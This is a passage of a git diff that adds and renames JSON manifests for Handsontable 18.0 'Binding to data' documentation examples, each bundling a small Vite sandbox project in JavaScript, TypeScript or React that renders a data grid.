Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example4.ts.json new file mode 100644 index 00000000..5dbd245f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns(column) {\n switch (column) {\n case 0:\n return { data: 'id' };\n case 1:\n return { data: 'name.first' };\n case 2:\n return { data: 'name.last' };\n case 3:\n return { data: 'address' };\n default:\n return {};\n }\n },\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example4.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example5.js.json new file mode 100644 index 00000000..b8431714 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5');\nconst data = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' },\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example5.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example5.ts.json new file mode 100644 index 00000000..2d07643e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example5.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example6.js.json new file mode 100644 index 00000000..4ceb2316 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example6.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6');\n\nnew Handsontable(container, {\n data: [],\n dataSchema: { id: null, name: { first: null, last: null }, address: null },\n startRows: 5,\n startCols: 4,\n colHeaders: ['ID', 'First Name', 'Last Name', 'Address'],\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example6.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example6.ts.json new file mode 100644 index 00000000..81d1693d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example6.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n data: [],\n dataSchema: { id: null, name: { first: null, last: null }, address: null },\n startRows: 5,\n startCols: 4,\n colHeaders: ['ID', 'First Name', 'Last Name', 'Address'],\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example6.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example7.js.json new file mode 100644 index 00000000..55e8ea76 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example7.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Function data source and schema · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example7');\n\nnew Handsontable(container, {\n data: [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n ],\n dataSchema: model,\n height: 'auto',\n width: 'auto',\n colHeaders: ['ID', 'Name', 'Address'],\n columns: [{ data: property('id') }, { data: property('name') }, { data: property('address') }],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nfunction model(person) {\n const _pub = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: () => _pub,\n };\n\n const _priv = {};\n\n for (const prop in person) {\n if (person.hasOwnProperty(prop)) {\n _priv[prop] = person[prop];\n }\n }\n\n _pub.attr = (attr, val) => {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr) {\n return (row, value) => row.attr(attr, value);\n}","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example7.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example7.ts.json new file mode 100644 index 00000000..54209926 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example7.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Function data source and schema · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Person {\n id: number | undefined;\n name: string | undefined;\n address: string | undefined;\n attr: (attr: string, val?: Handsontable.CellValue) => keyof Person | Person;\n}\n\nconst container = document.querySelector('#example7')!;\n\nnew Handsontable(container, {\n data: [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n ],\n dataSchema: model,\n height: 'auto',\n width: 'auto',\n colHeaders: ['ID', 'Name', 'Address'],\n columns: [{ data: property('id') }, { data: property('name') }, { data: property('address') }],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nfunction model(person: Partial) {\n const _pub: Person = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: () => _pub,\n };\n\n const _priv: Partial = {};\n\n for (const prop in person) {\n if (person.hasOwnProperty(prop)) {\n _priv[prop] = person[prop];\n }\n }\n\n _pub.attr = (attr, val) => {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr: string) {\n return (row: Handsontable.RowObject | Handsontable.CellValue[], value?: Handsontable.CellValue) => (row as unknown as Person).attr(attr, value);\n}","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example7.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example9.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example9.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example9.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example9.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example9.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example9.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example9.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example9.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example1.tsx.json new file mode 100644 index 00000000..f1d1347a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Binding to data · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example1.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example10.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example10.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example10.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example10.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example11.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example11.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example11.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example11.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example2.tsx.json new file mode 100644 index 00000000..d971377f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example2.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example3.tsx.json new file mode 100644 index 00000000..20791238 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface Person {\n id: number;\n name: string;\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example3.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example4.tsx.json new file mode 100644 index 00000000..3c5f572f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
